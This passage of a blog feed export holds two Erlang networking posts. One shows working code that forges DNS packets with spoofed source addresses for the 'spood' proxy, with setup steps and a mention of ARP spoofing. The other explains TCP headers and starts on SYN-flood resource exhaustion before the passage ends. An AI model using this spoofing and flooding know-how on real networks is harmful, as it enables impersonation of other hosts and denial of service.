?PACKET_ADD_MEMBERSHIP, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;Ifindex:32&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;native,              &lt;span class="Comment"&gt;% mr_ifindex: interface index&lt;/span&gt;&lt;br /&gt;        ?&lt;span class="Identifier"&gt;PACKET_MR_PROMISC:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;native,   &lt;span class="Comment"&gt;% mr_type: action&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;0:16&lt;/span&gt;,                           &lt;span class="Comment"&gt;% mr_alen: address length&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;0:64&lt;/span&gt;                            &lt;span class="Comment"&gt;% mr_address[8]:  physical layer address&lt;/span&gt;&lt;br /&gt;        &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;Sniffing Packets&lt;/h2&gt;&lt;a href="http://github.com/msantos/spood/raw/master/src/snuff.erl"&gt;Sniffing packets&lt;/a&gt; involves running procket:recvfrom/2 in a loop. Erlang's pattern matching makes filtering the packets simple. One trick is retrieving the default nameservers in Erlang. &lt;pre class="Code"&gt;{ok, PL} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;inet_parse:resolv&lt;/span&gt;(&lt;br /&gt;    &lt;span class="Identifier"&gt;proplists:get_value&lt;/span&gt;(resolv_conf, &lt;span class="Identifier"&gt;inet_db:get_rc&lt;/span&gt;(), &lt;span class="Constant"&gt;&amp;quot;/etc/resolv.conf&amp;quot;&lt;/span&gt;)),&lt;br /&gt;NS &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;proplists:get_value&lt;/span&gt;(nameserver, PL)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;em&gt;inet_db:get_rc()&lt;/em&gt; will return the path to the system resolv.conf file. &lt;em&gt;inet_parse&lt;/em&gt; has an undocumented function to parse resolv.conf and return the attributes as list of key/value pairs.  &lt;h2&gt;Spoofing Packets&lt;/h2&gt;&lt;a href="http://github.com/msantos/spood/raw/master/src/spoof.erl"&gt;Spoofing packets&lt;/a&gt; is done by constructing a packet consisting of the Ethernet, IP and UDP header and payload. &lt;pre class="Code"&gt;dns_query(SourcePort, Data, #state{&lt;br /&gt;    shost &lt;span class="Statement"&gt;=&lt;/span&gt; {SM1,SM2,SM3,SM4,SM5,SM6},&lt;br /&gt;    dhost &lt;span class="Statement"&gt;=&lt;/span&gt; {DM1,DM2,DM3,DM4,DM5,DM6},&lt;br /&gt;    saddr &lt;span class="Statement"&gt;=&lt;/span&gt; {SA1,SA2,SA3,SA4},&lt;br /&gt;    daddr &lt;span class="Statement"&gt;=&lt;/span&gt; {DA1,DA2,DA3,DA4}&lt;br /&gt;    }) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    Id &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;br /&gt;    TTL &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;    UDPlen &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;8&lt;/span&gt; &lt;span class="Statement"&gt;+&lt;/span&gt; byte_size(Data),&lt;br /&gt;    IPlen &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;20&lt;/span&gt; &lt;span class="Statement"&gt;+&lt;/span&gt; UDPlen,&lt;br /&gt;&lt;br /&gt;    IPsum &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;epcap_net:makesum&lt;/span&gt;(&lt;br /&gt;        &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="Comment"&gt;% IPv4 header&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;4:4&lt;/span&gt;, &lt;span class="Identifier"&gt;5:4&lt;/span&gt;, &lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;IPlen:16&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;Id:16&lt;/span&gt;, &lt;span class="Identifier"&gt;0:1&lt;/span&gt;, &lt;span class="Identifier"&gt;1:1&lt;/span&gt;, &lt;span class="Identifier"&gt;0:1&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;0:13&lt;/span&gt;, &lt;span class="Identifier"&gt;TTL:8&lt;/span&gt;, &lt;span class="Identifier"&gt;17:8&lt;/span&gt;, &lt;span class="Identifier"&gt;0:16&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;SA1:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA2:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA3:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA4:8&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;DA1:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA2:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA3:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA4:8&lt;/span&gt;&lt;br /&gt;        &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    ),&lt;br /&gt;&lt;br /&gt;    UDPpad &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;case&lt;/span&gt; UDPlen &lt;span class="Statement"&gt;rem&lt;/span&gt; &lt;span class="Constant"&gt;2&lt;/span&gt; &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;        &lt;span class="Constant"&gt;1&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Constant"&gt;8&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;    UDPsum &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;epcap_net:makesum&lt;/span&gt;(&lt;br /&gt;        &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;SA1:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA2:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA3:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA4:8&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;DA1:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA2:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA3:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA4:8&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;0:8&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;17:8&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;UDPlen:16&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;SourcePort:16&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;53:16&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;UDPlen:16&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;0:16&lt;/span&gt;,&lt;br /&gt;        Data&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;0:UDPpad&lt;/span&gt;&lt;br /&gt;        &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;),&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;% Ethernet header&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;DM1:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DM2:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DM3:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DM4:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DM5:8&lt;/span&gt;,&lt;span class="Identifier"&gt;DM6:8&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;SM1:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SM2:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SM3:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SM4:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SM5:8&lt;/span&gt;,&lt;span class="Identifier"&gt;SM6:8&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;08&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;% IPv4 header&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;4:4&lt;/span&gt;, &lt;span class="Identifier"&gt;5:4&lt;/span&gt;, &lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;IPlen:16&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;Id:16&lt;/span&gt;, &lt;span class="Identifier"&gt;0:1&lt;/span&gt;, &lt;span class="Identifier"&gt;1:1&lt;/span&gt;, &lt;span class="Identifier"&gt;0:1&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;0:13&lt;/span&gt;, &lt;span class="Identifier"&gt;TTL:8&lt;/span&gt;, &lt;span class="Identifier"&gt;17:8&lt;/span&gt;, &lt;span class="Identifier"&gt;IPsum:16&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;SA1:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA2:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA3:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA4:8&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;DA1:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA2:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA3:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA4:8&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;% UDP header&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;SourcePort:16&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;53:16&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;UDPlen:16&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;UDPsum:16&lt;/span&gt;,&lt;br /&gt;    Data&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h1&gt;Running spood&lt;/h1&gt;Setup isn't all automatic yet (but see the README, maybe this has changed). After everything is compiled, find the MAC and IP address of your client and name server. Then run: &lt;pre class="Code"&gt;erl &lt;span class="Statement"&gt;-&lt;/span&gt;pa ebin deps&lt;span class="Statement"&gt;/*/&lt;/span&gt;ebin&lt;br /&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;spood:start&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;,&lt;br /&gt;    {{&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;aa&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;bb&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;cc&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;dd&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;ee&lt;/span&gt;}, {&lt;span class="Identifier"&gt;list&lt;/span&gt;, [{&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;100&lt;/span&gt;,&lt;span class="Constant"&gt;100&lt;/span&gt;}, {&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;100&lt;/span&gt;,&lt;span class="Constant"&gt;101&lt;/span&gt;}]}},&lt;br /&gt;    {{&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;11&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;22&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;33&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;44&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;55&lt;/span&gt;}, {&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;100&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;}})&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Where: &lt;ul&gt;&lt;li&gt;The first argument is your interface device name&lt;br /&gt;&lt;li&gt;The second argument is a 2-tuple composed of your source MAC address and a representation of what should be used for your client IP address. Unless you're ARP spoofing or have published the ARP entries yourself, the IP's should be of clients on the network.&lt;br /&gt;&lt;br /&gt;The second argument can be a tuple or a string representing an IP or a tuple consisting of the keyword "list" followed a list of IP addresses. The source IP for each query will be randomly chosen from the list.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;The third argument is the name server MAC and IP address&lt;br /&gt;&lt;/ul&gt;Then test it: &lt;pre class="Code"&gt;$ nslookup&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; server &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;br /&gt;Default server: &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;br /&gt;Address: &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;1#53&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; www.google.com&lt;br /&gt;Server:         &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;br /&gt;Address:        &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;1#53&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;www.google.com  canonical name &lt;span class="Statement"&gt;=&lt;/span&gt; www.l.google.com.&lt;br /&gt;Name:   www.l.google.com&lt;br /&gt;Address: &lt;span class="Constant"&gt;173&lt;/span&gt;.&lt;span class="Constant"&gt;194&lt;/span&gt;.&lt;span class="Constant"&gt;33&lt;/span&gt;.&lt;span class="Constant"&gt;104&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;If you happen to be running the sods client, you can use the DNS proxy by using the "-r" option: &lt;pre class="Code"&gt;sdt &lt;span class="Special"&gt;-r&lt;/span&gt; &lt;span class="Constant"&gt;127&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;1&lt;/span&gt; sshdns.s.example.com&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;Update:&lt;/b&gt; Well, I've tested &lt;em&gt;spood&lt;/em&gt; in the wild now and made a few changes. By default, spood will discover the IP addresses on your network and add them to the list of source addresses to spoof.  spood now takes a &lt;a href="http://www.erlang.org/doc/man/proplists.html"&gt;proplist&lt;/a&gt; as an argument. However, if no argument is passed, spood will try to figure out your network by: &lt;ul&gt;&lt;li&gt;guessing which interface device to use&lt;br /&gt;&lt;li&gt;finding the MAC and IP address assigned to the device&lt;br /&gt;&lt;li&gt;looking up the MAC address of the name server in the ARP cache&lt;br /&gt;&lt;/ul&gt;The arguments to spood:start/1 is a proplist consisting of: &lt;ul&gt;&lt;li&gt;{dev, string() | undefined}&lt;br /&gt;&lt;li&gt;{srcmac, tuple()}&lt;br /&gt;&lt;li&gt;{dstmac, tuple()}&lt;br /&gt;&lt;li&gt;{saddr, tuple() | string() | discover | {discover, list()} | {list, list()}}&lt;br /&gt;&lt;li&gt;{nameserver, tuple() | undefined}&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Or call spood:start() to use the defaults.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5238124242818100884?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5238124242818100884/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-spoofing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5238124242818100884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5238124242818100884'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-spoofing.html' title='Fun with Raw Sockets in Erlang: A Spoofing DNS Proxy'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-4870375792368472020</id><published>2010-06-20T16:12:00.018-04:00</published><updated>2010-09-04T18:16:13.682-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><title type='text'>Fun with Raw Sockets in Erlang: Abusing TCP</title><content type='html'>&lt;h1&gt;TCP Packet Structure&lt;/h1&gt;A &lt;a href="http://www.faqs.org/rfcs/rfc793.html"&gt;TCP header&lt;/a&gt; is represented by:&lt;br /&gt;&lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Source Port:16&lt;/li&gt;&lt;li class="Message"&gt;Destination Port:48&lt;/li&gt;&lt;li class="Message"&gt;Sequence Number:32&lt;/li&gt;&lt;li class="Message"&gt;Acknowledgement Number:32&lt;/li&gt;&lt;li class="Message"&gt;Data Offset:4&lt;/li&gt;&lt;li class="Message"&gt;Reserved:4&lt;/li&gt;&lt;li class="Message"&gt;Congestion Window Reduced (CWR):1&lt;/li&gt;&lt;li class="Message"&gt;ECN-Echo (ECE):1&lt;/li&gt;&lt;li class="Message"&gt;Urgent (URG):1&lt;/li&gt;&lt;li class="Message"&gt;Acknowledgement (ACK):1&lt;/li&gt;&lt;li class="Message"&gt;Push (PSH):1&lt;/li&gt;&lt;li class="Message"&gt;Reset (RST):1&lt;/li&gt;&lt;li class="Message"&gt;Synchronize (SYN):1&lt;/li&gt;&lt;li class="Message"&gt;Finish (FIN):1&lt;/li&gt;&lt;li class="Message"&gt;Window Size:16&lt;/li&gt;&lt;li class="Message"&gt;TCP Pseudo-Header Checksum:16&lt;/li&gt;&lt;li class="Message"&gt;Urgent Pointer:16&lt;/li&gt;&lt;li class="Message"&gt;Options:0-320&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The &lt;em&gt;Data offset&lt;/em&gt; is the length of the TCP header and in 32-bit words, i.e., multiply the offset by 4 to get the number of bytes.&lt;br /&gt;&lt;li&gt;The CWR and ECE flags were added in &lt;a href="http://www.faqs.org/rfcs/rfc3168.html"&gt;RFC 3168&lt;/a&gt;.&lt;br /&gt;&lt;li&gt;The TCP checksum is calculated by forming a pseudo-header from attributes of the IP header prepended to the TCP header and payload. When performing the checksum, the TCP checksum field is set to 0.&lt;br /&gt;&lt;li&gt;An offset greater than 5 (20 bytes for the mandatory header elements) indicates the presence of &lt;em&gt;(offset-5)*4&lt;/em&gt; bytes of &lt;em&gt;TCP Options&lt;/em&gt; in the header. Since the offset field is 4 bits, the maximum value of the offset field is 15, allowing for up to 40 bytes of options. Options are not used in the examples below.&lt;br /&gt;&lt;/ul&gt;The equivalent TCP header in Erlang is:     &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;SPort&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;, &lt;span class="Identifier"&gt;DPort&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;SeqNo&lt;/span&gt;:&lt;span class="Constant"&gt;32&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;AckNo&lt;/span&gt;:&lt;span class="Constant"&gt;32&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Off&lt;/span&gt;:&lt;span class="Constant"&gt;4&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;:&lt;span class="Constant"&gt;4&lt;/span&gt;, &lt;span class="Identifier"&gt;CWR&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Identifier"&gt;ECE&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Identifier"&gt;URG&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Identifier"&gt;ACK&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;PSH&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Identifier"&gt;RST&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Identifier"&gt;SYN&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Identifier"&gt;FIN&lt;/span&gt;:&lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Identifier"&gt;Win&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Sum&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;, &lt;span class="Identifier"&gt;Urp&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The pseudo-header can be illustrated as:  &lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Source Address:32&lt;/li&gt;&lt;li class="Message"&gt;Destination Address:32&lt;/li&gt;&lt;li class="Message"&gt;Zero:8&lt;/li&gt;&lt;li class="Message"&gt;Protocol:8&lt;/li&gt;&lt;li class="Message"&gt;TCP Header Length:16&lt;/li&gt;&lt;li class="Message"&gt;TCP Header and Payload:1&lt;/li&gt;&lt;li class="Message"&gt;...&lt;/li&gt;&lt;li class="Message"&gt;TCP Header and Payload:N&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The &lt;em&gt;Source Address&lt;/em&gt; from the IP header.&lt;br /&gt;&lt;li&gt;The &lt;em&gt;Destination Address&lt;/em&gt; from the IP header.&lt;br /&gt;&lt;li&gt;The &lt;em&gt;Protocol&lt;/em&gt; as specified by the IP header. For TCP, the value will be 6.&lt;br /&gt;&lt;li&gt;The &lt;em&gt;TCP Header Length&lt;/em&gt; in bytes. The length of the IP pseudo-header is not included.&lt;br /&gt;&lt;li&gt;The &lt;em&gt;TCP Header and Payload&lt;/em&gt; contains the full TCP packet.&lt;br /&gt;&lt;/ul&gt;In Erlang, the IP pseudo-header is represented as:     &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;SA1&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA2&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA3&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Identifier"&gt;SA4&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,  &lt;span class="Comment"&gt;% bytes representing the IP source address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;DA1&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA2&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA3&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Identifier"&gt;DA4&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,    &lt;span class="Comment"&gt;% bytes representing the IP destination address&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,                        &lt;span class="Comment"&gt;% Zero&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;6&lt;/span&gt;:&lt;span class="Constant"&gt;8&lt;/span&gt;,                        &lt;span class="Comment"&gt;% Protocol: TCP&lt;/span&gt;&lt;br /&gt;(&lt;span class="Identifier"&gt;TCPoff&lt;/span&gt; &lt;span class="Statement"&gt;*&lt;/span&gt; &lt;span class="Constant"&gt;4&lt;/span&gt;):&lt;span class="Constant"&gt;16&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;           &lt;span class="Comment"&gt;% TCP packet size in bytes&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h1&gt;Exhausting Server Resources&lt;/h1&gt;TCP is stateful, requiring the client and server to allocate resources to manage each phase of the connection. A TCP connection is established by synchronizing the sequence numbers of the client and server.     &lt;ul&gt;&lt;li&gt;The client sends a 20 byte TCP packet:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the SYN bit is set to 1&lt;br /&gt;&lt;li&gt;a randomly chosen sequence number&lt;br /&gt;&lt;li&gt;the acknowledgment number set to 0&lt;br /&gt;&lt;li&gt;no payload&lt;br /&gt;&lt;/ul&gt;The client goes into state "SYN_SENT".&lt;li&gt;The server replies with:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the SYN bit set to 1&lt;br /&gt;&lt;li&gt;the ACK bit set to 1&lt;br /&gt;&lt;li&gt;a randomly chosen sequence number&lt;br /&gt;&lt;li&gt;the acknowledgement number is set to the client's sequence number, incremented by 1&lt;br /&gt;&lt;li&gt;no payload&lt;br /&gt;&lt;/ul&gt;The server goes into state "SYN_RECEIVED".&lt;li&gt;The client replies with:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the SYN bit set to 0&lt;br /&gt;&lt;li&gt;the ACK bit set to 1&lt;br /&gt;&lt;li&gt;the sequence number (the acknowledgement number returned by the server)&lt;br /&gt;&lt;li&gt;the acknowledgement number, the sequence number of the server incremented by the size in bytes of the payload&lt;br /&gt;&lt;li&gt;an optional payload&lt;br /&gt;&lt;/ul&gt;The client goes into state "ESTABLISHED" &lt;/ul&gt;&lt;br /&gt;Each phase of the connection needs to be tracked by the operating system. For example, if the initial SYN packet sent by the client does not result in a response, the client will resend the SYN packet, typically up to 3 times, before returning a timeout error.&lt;br /&gt;&lt;br /&gt;On the server, if the SYN ACK is not ACK'ed by the client, the server must periodically attempt to re-send the SYN-ACK packet before freeing the resources allocated to this connection.&lt;br /&gt;&lt;br /&gt;The resources required for tracking these connections, although small, can be exhausted either through high demand or a denial of service attack using several simple, well known 